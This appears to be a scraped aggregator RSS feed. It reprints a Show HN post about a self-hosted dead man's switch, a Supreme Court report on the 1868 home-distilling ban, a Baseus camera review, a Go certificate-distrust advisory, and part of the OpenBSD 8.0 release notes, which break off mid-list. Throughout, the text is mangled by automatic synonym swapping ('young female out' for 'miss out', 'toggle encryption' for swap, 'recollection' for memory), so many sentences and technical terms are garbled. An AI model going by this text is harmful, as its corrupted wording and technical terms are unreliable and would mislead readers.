newer, no database.</p> <h2>How it works</h2> <p>Every stage is counted from the weekly check-in email. The spacing below is to scale.</p> <div> <ol> <li><strong>Check-in</strong><span>Hour 0.</span> You media a button.</li> <li><strong>Reminder</strong><span>Hour 24,</span> to the two your addresses.</li> <li><strong>Last reminder</strong><span>Hour 48.</span></li> <li><strong>Next of kin asked</strong><span>Hour 72.</span> "Is everything all right?"</li> <li><strong>Reminded</strong><span>Hour 120.</span></li> <li><strong>Contacts told</strong><span>Hour 144.</span> Each gets the communication you wrote.</li> </ol> </div> <ul> <li><h3>All fine</h3><p>Your next of kin says you're well. It ends there, and nobody alternatively hears a thing.</p></li> <li><h3>Something's wrong</h3><p>Your next of kin says so, and your another contacts are sent their messages direct away.</p></li> <li><h3>You inspect in</h3><p>At any stage, equal following it fires. Anyone already contacted is told it was a false alarm.</p></li> </ul> <p>The email goes at the identical period all week, so your contacts are told at most 13 days following your final check-in. Opening a nexus never counts: email scanners open links, so you have to media the button.</p> <h2>What it looks like</h2> <div> <figure> <p><img src="https://deathplanswitch.com/img/armed.webp" width="1504" height="1440" loading="lazy" alt=" the next check-in email is due Monday at 9am, alongside the six-day escalation drawn underneath and three confirmed contacts listed."></p> <figcaption>Armed. The timeline shows exactly what happens if you young female Monday's email.</figcaption> </figure> <figure> <p><img src="https://deathplanswitch.com/img/checkin.webp" width="1024" height="422" loading="lazy" alt=" &#039;Are you there, Sam?&#039; alongside a sole button, &#039;I am here: inspect in&#039;."></p> <figcaption>The check-in. One button, and beginning the leaf is not enough.</figcaption> </figure> <figure> <p><img src="https://deathplanswitch.com/img/nok.webp" width="1024" height="1610" loading="lazy" alt=" &#039;Is Sam Rivers all right?&#039; alongside an &#039;All fine&#039; clasp and a &#039;Something&#039;s wrong&#039; button, all explaining what happens next."></p> <figcaption>What your next of kin sees. Each answer says what it volition do before they media it.</figcaption> </figure> <figure> <p><img src="https://deathplanswitch.com/img/fired.webp" width="1504" height="1400" loading="lazy" alt=" messages have gone to three contacts, alongside a clasp to inform them it was a false alarm."></p> <figcaption>Fired. Your contacts have their messages, and one clasp tells them it was a false alarm.</figcaption> </figure> </div> <h2>Why I built this</h2> <p>I run a one-person web studio in local New South Wales. My clients' sites, domains and hosting all run through me. If I died tomorrow, nobody would cognize anywhere item was, or equal that they needed to look.</p> <p>So I wrote a plan. Everything my endeavor runs on is in one encrypted document. My backup developer holds its password, and my attorney holds a second copy. What was missing was the part in the middle: item that notices I've gone quiescent and tells the correct people, in the correct order, without frightening my family complete a lengthy weekend.</p> <p>I couldn't discover item uncomplicated that I could presenter myself, so I built it. It emails me formerly a week. If I don't answer, it asks my next of kin first. Only if nobody can say I'm all correct does it inform everyone else.</p> <p>I&rsquo;ve been operating it on myself for the final week, alongside my next of kin and my backup developer the two confirmed. If you test it for your own business, I&rsquo;d really value your feedback: what was confusing, what broke, and what you&rsquo;d desire it to do differently.</p> <p>It's liberated and MIT licensed. Use it, or build your own from it.</p> <p>We all die. Die knowing the correct group volition be told.</p> <h2>What it is not</h2> <ul> <li><strong>Not a guarantee.</strong> It sends emails. It can't cognize why you stopped checking in, and it can't activity if its server, its scheduler or its communication assistance is down.</li> <li><strong>Not a vault.</strong> It stores no documents and no passwords. Messages say anywhere things are and who to call.</li> <li><strong>Not a service.</strong> There are no accounts and no hosted version. You run it, for yourself.</li> <li><strong>Email only.</strong> No SMS, no calls, no app.</li> <li><strong>No warranty.</strong> It's MIT licensed and provided as is.</li> </ul> <h2>What you need</h2> <ul> <li>A web server alongside PHP 8.1 or newer. Apache plant as shipped; nginx needs four lines.</li> <li>An SMTP document to dispatch communication through.</li> <li>Cron, or any exterior scheduler that can petition a web location all 15 minutes.</li> <li>HTTPS.</li> <li>Hosting that's distinct from the sites it protects, so one outage can't obtain downward both.</li> </ul> <p>Installing takes a few minutes in the browser. The crontab row is the one specialized step, and the installer writes it for you.</p> <a href="https://en.mycoding.id/category/technology" target="_blank">Download from GitHub</a> <p><a href="https://en.mycoding.id/category/technology" target="_blank">Read the README</a>, or <a href="https://en.mycoding.id/category/technology" target="_blank">browse the source</a>.</p> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/show-hn-death-plan-switch-a-self-hosted-dead-man-s-switch-for-solo-devs-73247</guid> <pubDate>Tue, 20 Oct 2026 05:37:43 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[U.S. Supreme Court to review 1868 federal ban on home distilling of liquor]]></title> <description><![CDATA[U.S. Supreme Court to review 1868 federal ban on home distilling of liquor. Comments]]></description> <media:thumbnail url="https://www.staradvertiser.com/wp-content/uploads/2026/10/web1_2026-10-19T133216Z_448534356_RC2D6OASD4WP_RTRMADP_3_USA-COURT-ALCOHOL.JPG"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/u-s-supreme-court-to-review-1868-federal-ban-on-home-distilling-of-liquor-73243</link> <content:encoded><![CDATA[<div id="article-content"> <div><p>WASHINGTON &gt;&gt; The U.S. Supreme Court accepted today to decide the legality of a national ban on the residence distilling of alcoholic spirits that was enacted in 1868 following the U.S. Civil War to expert downward on liquor tax evasion.</p> <p>The disagreement pits President Donald Trump&rsquo;s administration, which is defending the law, against challengers who contend that the home-distilling ban exceeds the authority of Congress under the U.S. Constitution. More than a dozen Republican-led states have backed the lawful difficulty to the statute.</p> <p>The Supreme Court took up the administration&rsquo;s petition of a lesser court&rsquo;s decision against the ban. The justices are expected to comprehend arguments in the case and matter a ruling by the end of June.</p> <p>Following the Civil War of 1861-1865, Congress sought to defend national income by passing a law that banned residence distilling. The current type of the law subjects violators to up to five years in jail and a $10,000 fine.</p> <p>Challenges to the ban&rsquo;s legality have led to a divided among lesser national courts of appeals.</p> <p>In April, the New Orleans-based Fifth U.S. Circuit Court of Appeals declared the law unconstitutional, calling it an unnecessary and improper method for Congress to exercise its power to tax. Days later, the Cincinnati-based Sixth U.S. Circuit Court of Appeals upheld the constitutionality of the law, saying it was a &ldquo;necessary and appropriate means&rdquo; of collecting national excise tax on distilled spirits.</p> <div id="breaking-news-signup-form"> <div> <div> <h6><strong>Don't young female out on what's happening!</strong></h6> <p>Stay in contact alongside breaking news, as it happens, conveniently in your email inbox. It's FREE!</p> </div> <p><small>By clicking to sign up, you concur to Star-Advertiser's and Google's <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">Terms of Service</a> and <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">Privacy Policy</a>. This form is protected by reCAPTCHA.</small> </p> </div> </div> <p>The dueling decisions prompted appeals to the Supreme Court by the Justice Department and lawful challengers.</p> <p>Attorneys broad from 15 Republican-led states, including Ohio, Florida and Idaho, submitted a Supreme Court concise assistance the challengers to the national ban and urged the justices to determine the division, or &ldquo;split,&rdquo; between the circuit courts of appeals.</p> <p>&ldquo;Unlike a fine whiskey,&rdquo; the attorneys broad wrote, &ldquo;this divided volition not age well.&rdquo;</p> <p>The 5th Circuit ruling was a lawful triumph for the nonprofit Hobby Distillers Association and 4 of its 1,300 members who asserted in court document that group have to be liberated to distill spirits at home, whether as a hobby or for individual consumption.</p> <p>Robert Alt, chairman and chief administrator authoritative of the Buckeye Institute think container and a attorney for the challengers, expressed enthusiasm that his clients &ldquo;will have their day in court.&rdquo;</p> <p>&ldquo;Our country&rsquo;s founders would be rolling complete in their graves to study that a pastime in which equal George Washington partook, which is as American as apple pie and certainly a lot older, has fairly absurdly been turned into a national crime,&rdquo; Alt said.</p> <p>The Fifth Circuit upheld a 2024 ruling by U.S. District Judge Mark Pittman in Fort Worth, Texas. The ruling barred national authorities from enforcing the ban against the plaintiffs in that case.</p> <p>The Justice Department, urging the justices to obtain up the case, emphasized the importance of protecting national revenue.</p> <p>&ldquo;Congress restricted residence distilling 160 years ago in reply to an extended former of evasion of the distilled-spirits tax,&rdquo; Justice Department lawyers wrote.</p> <p>&ldquo;The authorities has a significant involvement in its authority to safeguard a important origin of tax income &mdash; a origin that was used to pay Revolutionary War debts at the founding (of the nation) and now generates billions of dollars in tax income all year,&rdquo; they wrote.</p> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/u-s-supreme-court-to-review-1868-federal-ban-on-home-distilling-of-liquor-73243</guid> <pubDate>Tue, 20 Oct 2026 05:02:26 +0700</pubDate> <author><![CDATA[support@mycoding.id (Riki Setiawan)]]></author> </item> <item> <title><![CDATA[Baseus’ new security camera has a spotlight that tracks and follows moving targets]]></title> <description><![CDATA[Baseus’ new security camera has a spotlight that tracks and follows moving targets. Baseus announced a new supplement to its lineup of AI-assisted safety cameras that's additional proactive concerning discouraging unwanted visitors alternatively of fair recordi...]]></description> <media:thumbnail url="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus1.jpg?quality=90&amp;strip=all&amp;crop=0%2C10.732984293194%2C100%2C78.534031413613&amp;w=1200"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/baseus-new-security-camera-has-a-spotlight-that-tracks-and-follows-moving-targets-73240</link> <content:encoded><![CDATA[<div><div><div><div><div><p><a href="https://en.mycoding.id/category/technology" target="_blank"><img alt="Andrew Liszewski" data-chromatic="ignore" loading="lazy" width="36" height="36" decoding="async" data-nimg="1" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2025/01/ANDREW_LISZEWSKI_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=48 1x, https://platform.theverge.com/wp-content/uploads/sites/2/2025/01/ANDREW_LISZEWSKI_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=96 2x" src="https://platform.theverge.com/wp-content/uploads/sites/2/2025/01/ANDREW_LISZEWSKI_BLURPLE.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=96"></a></p><div><p><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span id="follow-author-standard_article_details-dmcyOmF1dGhvclByb2ZpbGU6MTYw"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span></span><span>Andrew Liszewski</span></span></span></p> <p><span>is a elder newsman who&rsquo;s been covering and reviewing the latest gadgets and tech since 2006, but has loved all things digital since he was a kid.</span></p></div></div></div></div></div><div id="zephr-anchor"><p>Baseus announced a new supplement to its lineup of AI-assisted safety cameras that&rsquo;s additional proactive concerning discouraging unwanted visitors alternatively of fair record and alerting you to their presence. The Baseus Security PrimeSentinel U2 Pro Outdoor 3K Dual Camera introduces a motorized spotlight that shines immediately on a moving target, equal as they&rsquo;re operating throughout your property, so they cognize they&rsquo;ve been detected. The targeted ray additionally improves the norm of video captured in the dreary to addition the chances of a topic being identified, and it can assistance your family alongside after-hours activities akin taking the dog out.</p><p>The Baseus U2 Pro is <a href="https://en.mycoding.id/category/technology" target="_blank" rel="sponsored">now accessible through Amazon in the US for $269.99</a>, during European preparedness starts on October 15th at &euro;269.99. Alongside the spotlight feature, the U2 Pro pairs a 3K fixed camera designed to continually detect a particular area of your asset alongside a second 3K camera that can zoom, tilt, and pan 360 degrees to detect everyplace else. Full-color night imagination capabilities create it easier to acknowledge people, animals, or equal the color of a doubtful vehicle.</p><div><div><div><div class=""><div><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="1666" data-pswp-width="2500" target="_blank" rel="noreferrer"><img alt="The Baseus U2 Pro safety camera mounted to a wooden article in a backyard." data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 50vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=256 256w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/baseus2.jpg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400"></a></p></div></div></div></div></div><p>Using &ldquo;AI-powered analysis,&rdquo; the U2 Pro volition provision alerts whenever motion is detected alongside summaries and descriptions of what was seen that differentiate between people, pets, vehicles, and activities akin delivered packages. It&rsquo;s additionally astute adequate to disregard movements that aren&rsquo;t relevant, specified as tree branches blowing in the wind, or activities that regularly happen so as not to overwhelm you alongside notifications. Footage is captured lone whenever motion is detected and is stored locally on a 512GB encrypted recollection card. It can be accessed remotely through Baseus&rsquo; mobile app, during live views from the cameras can additionally be monitored on Amazon Alexa or Google Home astute devices.</p><p>Baseus claims the U2 Pro can be installed in concerning two minutes using mounts that nexus to walls or ceilings. The camera connects wirelessly to your residence network and features a rechargeable power division fine for up to 150 days of use, although that volition possibly be reduced depending on how much action there is on your property. An included 3W sun-related panel can be mounted atop the cameras or a abbreviated extend distant to justify it can see the sun. Just 40 minutes of sun visibility generates adequate power for a complete day&rsquo;s use.</p><div><p><span><strong>Follow topics and authors</strong> from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.</span></p><ul><li id="follow-author-article_footer-dmcyOmF1dGhvclByb2ZpbGU6MTYw"><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span><span>Andrew Liszewski</span></span></span></li><li><li><li><li><li></ul></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/baseus-new-security-camera-has-a-spotlight-that-tracks-and-follows-moving-targets-73240</guid> <pubDate>Tue, 20 Oct 2026 05:00:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Andrew Liszewski)]]></author> </item> <item> <title><![CDATA[Go will reject certificate chains containing eight distrusted SPKIs]]></title> <description><![CDATA[Go will reject certificate chains containing eight distrusted SPKIs. Comments]]></description> <media:thumbnail url="https://opengraph.githubassets.com/cbca9d3d30da4f65e72d4d1f9f233dfb40d926e4b794005b1e0a3affae0d88cc/golang/go/issues/82345"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/go-will-reject-certificate-chains-containing-eight-distrusted-spkis-73238</link> <content:encoded><![CDATA[<div id="issue-body-viewer" data-testid="issue-body-viewer"><div data-testid="markdown-body" data-team-hovercards-enabled="true" data-turbolinks="false"><div><p dir="auto">We're blocking rely in a small set of intermediate certificates because of particular safety concerns about their operation.</p> <p dir="auto">Verify volition now display out chains which merge these intermediates, preventing them from being returned to the caller.</p> <p dir="auto">We extremely propose immediately upgrading to this release.</p> <p dir="auto">This is CVE-2026-111943 and Go matter <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://go.dev/issue/82345</a>.</p> <hr> <p dir="auto">This was an <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">URGENT track</a> matter initially tracked in <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">http://b/575512169</a>.</p></div></div><div><p><span data-direction="n" data-component="Tooltip" aria-hidden="true" id="_R_1al4utkp85_">Reactions are currently unavailable</span></p></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/go-will-reject-certificate-chains-containing-eight-distrusted-spkis-73238</guid> <pubDate>Tue, 20 Oct 2026 04:05:07 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[OpenBSD 8.0]]></title> <description><![CDATA[OpenBSD 8.0. Comments]]></description> <media:thumbnail url="https://www.openbsd.org//images/blowfishonbike-s.gif"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/openbsd-8-0-73239</link> <content:encoded><![CDATA[<div> <h2 id="OpenBSD"> <a href="https://en.mycoding.id/category/technology" target="_blank"> <i>Open</i><b>BSD</b></a> 8.0 </h2> <table readabilitydatatable="0"> <tr> <td> <a href="https://en.mycoding.id/category/technology" target="_blank"> <img width="200" height="300" src="https://www.openbsd.org//images/blowfishonbike-s.gif" alt="Blowfish on a Bike"></a> </td><td> Released October 20, 2026. (61st OpenBSD release)<br> Copyright 1997-2026, Theo de Raadt.<p> 8.0 Song: "<a href="https://en.mycoding.id/category/technology" target="_blank">The Simps on AI</a>"</p><p> Artwork by yvaneht nioj and clanker. </p><ul> <li>See the data on <a href="https://en.mycoding.id/category/technology" target="_blank">the FTP page</a> for a catalog of mirror machines. </li><li>Go to the pub/OpenBSD/8.0/ directory on among the mirror sites. </li><li>Have a appearance at <a href="https://en.mycoding.id/category/technology" target="_blank">the 8.0 errata page</a> for a list of bugs and workarounds. </li><li>See a <a href="https://en.mycoding.id/category/technology" target="_blank">detailed log of changes</a> between the 7.9 and 8.0 releases. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">signify(1)</a> pubkeys for this release:<table readabilitydatatable="0"> <tr><td> openbsd-80-base.pub: </td><td> <a href="https://en.mycoding.id/category/technology" target="_blank"> RWSMSt0erHTctUxq2JDAgQRo64ztikp8JvQeiSPte3NZ0Geou0TkTEiE </a></td></tr><tr><td> openbsd-80-fw.pub: </td><td> RWRjzXzC89s1iQC9P3xgcdeN6OUoJz9t7ggTY0xBb1W8PfeOzAdwod66 </td></tr><tr><td> openbsd-80-pkg.pub: </td><td> RWRspL7ERnSFIscdEvBwVySymWNopP+CEZHbaB3IMJIt0bUXGBuIfUqC </td></tr><tr><td> openbsd-80-syspatch.pub: </td><td> RWQAeCccO9yAASmUJSCJEW9C5WOP/GAsa5dhMtPPmb5pehzPO7EAmqhK </td></tr></table> </li></ul> <p> All applicable copyrights and credits are in the src.tar.gz, sys.tar.gz, xenocara.tar.gz, ports.tar.gz files, or in the files fetched via ports.tar.gz. </p></td></tr></table> <hr> <h3>What's New</h3> <p> This is a partial catalog of new features and systems included in OpenBSD 8.0. For a thorough list, see the <a href="https://en.mycoding.id/category/technology" target="_blank">changelog</a> foremost to 8.0. </p><ul> <li>Platforms particular improvements: <ul> <li><a href="https://en.mycoding.id/category/technology" target="_blank">amd64</a>: <ul> <li>Raised the size of amd64 kernel virtual location area from 4G to 512G. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">pmap(9)</a> straightforward map now placed at a random location. </li><li>Sped up toggle encryption by using AES cpu instructions. </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">arm64</a>: <ul> <li>Added hibernate support. </li><li>Sped up toggle encryption by using AES cpu instructions. </li><li>Implemented bounce buffers. </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">luna88k</a>: <ul> <li>Fixed m88k multiple CMMU enroll writes. </li><li>Extended m88k kernel-mode CMMU error handling to grip compose safety faults. </li><li>Ensure luna88k m8820x_initialize_cpu() initializes logical CPU #0 on non-MP kernels. </li><li>Faster CMMU stroll in luna88k m8820x_cpu_number(). </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">riscv64</a>: <ul> <li>Detect CPU extensions and advertise those usable by userland through elf_aux_info(3) AT_HWCAP and AT_HWCAP2 queries. </li><li>Added kernel assistance for the 'V' vector extension. </li><li>Implemented bounce buffers. </li><li>Added assistance for RISC-V Advanced Interrupt Architecture; added <a href="https://en.mycoding.id/category/technology" target="_blank">imsic(4)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">aplic(4)</a> drivers. </li><li>Added kernel assistance for the Sstc timer extension. </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">sparc64</a>: <ul> <li>Added limits inspect for the sparc64 relocation flags table. </li><li>Switched sparc64 to LLVM toolchain. </li><li>Improved recollection alignment on SPARCV9. </li></ul> </li><li>Other <a href="https://en.mycoding.id/category/technology" target="_blank">architectures</a>: <ul> <li>Retired assistance for loongson architecture (not operating alongside Clang 22). </li><li>Various RISC-V and MIPS bugfixes for LLVM. </li><li>Fixed encoding of hppa safety bits. </li></ul> </li><li>More phase particular changes can be established in the <a href="https://en.mycoding.id/category/technology" target="_blank">hardware support</a> division below. </li></ul> </li><li>Various kernel improvements: <ul> <li>Fixed recollection size calculation in <a href="https://en.mycoding.id/category/technology" target="_blank">open_wmemstream(3)</a>. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">semop(2)</a> semaphore id being destroyed/replaced during environment switch. </li><li>Improved idle leaf queue heuristics for pagedaemon swapping pages/freeing memory. </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">getexecpath(3)</a> to provision copy of the <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> program's implementation path. </li><li>More preparations for larger disklabel. </li></ul> </li><li>Suspend/Hibernate Support: <ul> <li>Enabled suspend/resume for <a href="https://en.mycoding.id/category/technology" target="_blank">qwz(4)</a>. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">ufshci(4)</a> last a suspend on the Samsung Galaxy Book4 Edge and HONOR MagicBook Art 14 Snapdragon. </li><li>Stopped waking a suspended laptop whenever lid is closed and machdep.lidaction=0. </li><li>Added a earth sleep manner changeable to differentiate hibernate from 'normal' suspend. </li><li>Added suspend/resume assistance for <a href="https://en.mycoding.id/category/technology" target="_blank">qcuart(4)</a>. </li><li>Added assistance for wakeup interrupts to <a href="https://en.mycoding.id/category/technology" target="_blank">bytgpio(4)</a>, fixes IdeaPad resuming from suspend. </li><li>Validate size of chunks copied to piglet during hibernate unpacking of disk image. </li><li>Validate on-disk depiction sizes against entire figure overflow whenever study chunks in unhibernate. </li><li>Prevent disk depiction overreads whenever study the chunktable in unhibernate. </li><li>Clean up the framebuffer following unhibernate. </li><li>Made nonaccomplishment to allocate a dedicated queue for <a href="https://en.mycoding.id/category/technology" target="_blank">nvme(4)</a> hibernate assistance non-fatal. </li></ul> </li><li>Direct Rendering Manager and graphics drivers: <ul> <li>Updated <a href="https://en.mycoding.id/category/technology" target="_blank">drm(4)</a> to Linux 6.18.53. </li><li>Support for Intel Arc A-Series (DG2/Alchemist) graphics cards in <a href="https://en.mycoding.id/category/technology" target="_blank">inteldrm(4)</a>. </li><li>Increased kernel virtual location area on amd64 allows mapping additional than 4GB of VRAM. </li><li>Workaround <a href="https://en.mycoding.id/category/technology" target="_blank">inteldrm(4)</a> GuC timeout errors seen on several Alder Lake systems. </li></ul> </li><li>VMM/VMD improvements: <ul> <li>Added MP assistance for up to 64 VCPUs per visitant VM. </li><li>Redesigned to use records to oversee VM ownership. </li><li>Added x2apic manner assistance for visitant virtual machines. </li><li>Fix for whenever <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> does not detect kernel on startup. </li><li>Provide faulting GPA to <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> for MMIO exits from <a href="https://en.mycoding.id/category/technology" target="_blank">vmm(4)</a>. </li><li>Refactored <a href="https://en.mycoding.id/category/technology" target="_blank">vmm(4)</a> exit handling and accurate RIP adjustment. </li><li>Added assistance for changeable dimension instructions in VMX paths to <a href="https://en.mycoding.id/category/technology" target="_blank">vmm(4)</a>. </li><li>Prevent OOB says by <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> in 32 and 64-bit <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> loaders alongside malformed <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> files. </li><li>Implemented missing lapic/ioapic modes to fix <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> assistance for 32-bit linux guests. </li><li>Added checksum offload for <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> guests. </li><li>MSI/MSI-X virtio equipment interrupt assistance added. </li><li>Support really divided split-virtqueues in <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a>. </li><li>Added i82093aa ioapic and i82489dx-compatible lapic emulation to <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a>. </li><li>Improved qcow handling. </li></ul> </li><li>Various new userland features: <ul> <li><a href="https://en.mycoding.id/category/technology" target="_blank">netstat(1)</a> can now imprint interface multicast counter; made '-q' additional specific. </li><li>Adjusted <a href="https://en.mycoding.id/category/technology" target="_blank">ddb(4)</a> default 'ps' output, imprint 'struct process' and 'struct proc' separately. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">mount(8)</a> assistance DUIDs alongside -u; maintain DUID whenever updating document system. </li><li>Implemented authority of midithru ports alongside <a href="https://en.mycoding.id/category/technology" target="_blank">sndioctl(1)</a>. </li><li>Allow catalog elements to be added or removed by <a href="https://en.mycoding.id/category/technology" target="_blank">sndioctl(1)</a>. </li><li>Added the <a href="https://en.mycoding.id/category/technology" target="_blank">sndiod(8)</a> server.mode authority making the environment dynamic, changeable via <a href="https://en.mycoding.id/category/technology" target="_blank">sndioctl(1)</a>. </li></ul> </li><li>More bugfixes and tweaks in userland: <ul> <li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> header and program header fit into the shared archive whenever loading. </li><li>Fixed leak of key recollection in <a href="https://en.mycoding.id/category/technology" target="_blank">getpwent(3)</a> yp_next(). </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">patch(1)</a>, solved an infinite iteration on malformed <a href="https://en.mycoding.id/category/technology" target="_blank">ed(1)</a> manuscript input. </li><li>Use <a href="https://en.mycoding.id/category/technology" target="_blank">execv(3)</a> absolute-path in <a href="https://en.mycoding.id/category/technology" target="_blank">authpf(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">pflogd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ldapd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ldpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">lpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">radiusd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">snmpd(8)</a>. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">uaudio(4)</a> now tests the reported format and channels are usable. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">sndiod(8)</a> aborting if a MIDI endpoint connects alongside non-empty buffers. </li><li>Fixed two missing checks of file_new() come back value in <a href="https://en.mycoding.id/category/technology" target="_blank">sndiod(8)</a>. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">npppd(8)</a> LCP MRU choice handing. </li><li>Adjust <a href="https://en.mycoding.id/category/technology" target="_blank">pstat(8)</a> to come back the pid of the meeting chief process; authorize '-t -M' to work. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">eigrpd(8)</a> validate the prefixlen to evade overflow. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">sndiod(8)</a> allocate all midithru structures on the heap. </li></ul> </li><li id="hardware_support">Improved hardware assistance and controller bugfixes, including: <ul> <li>Enabled the GXTP7936 touchscreen on the Samsung Galaxy Book4 Edge. </li><li>Added assistance for the riscv64 K3 PCIe/USB3 combo PHY. </li><li>Enabled <a href="https://en.mycoding.id/category/technology" target="_blank">gpioleds(4)</a> on riscv64. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">smte(4)</a> (SpacemiT K1 Ethernet device), improved error checking of received packets. </li><li>Fixed regular MSI interrupts on the SpacemiT K1 SoC. </li><li>Added assistance for the SpacemiT K3 SoC to <a href="https://en.mycoding.id/category/technology" target="_blank">smtclock(4)</a>. </li><li>Added SC7280 assistance to <a href="https://en.mycoding.id/category/technology" target="_blank">qcgpio(4)</a>. </li><li>Added assistance for the SpacemiT K3 <a href="https://en.mycoding.id/category/technology" target="_blank">dwpcie(4)</a> PCIe 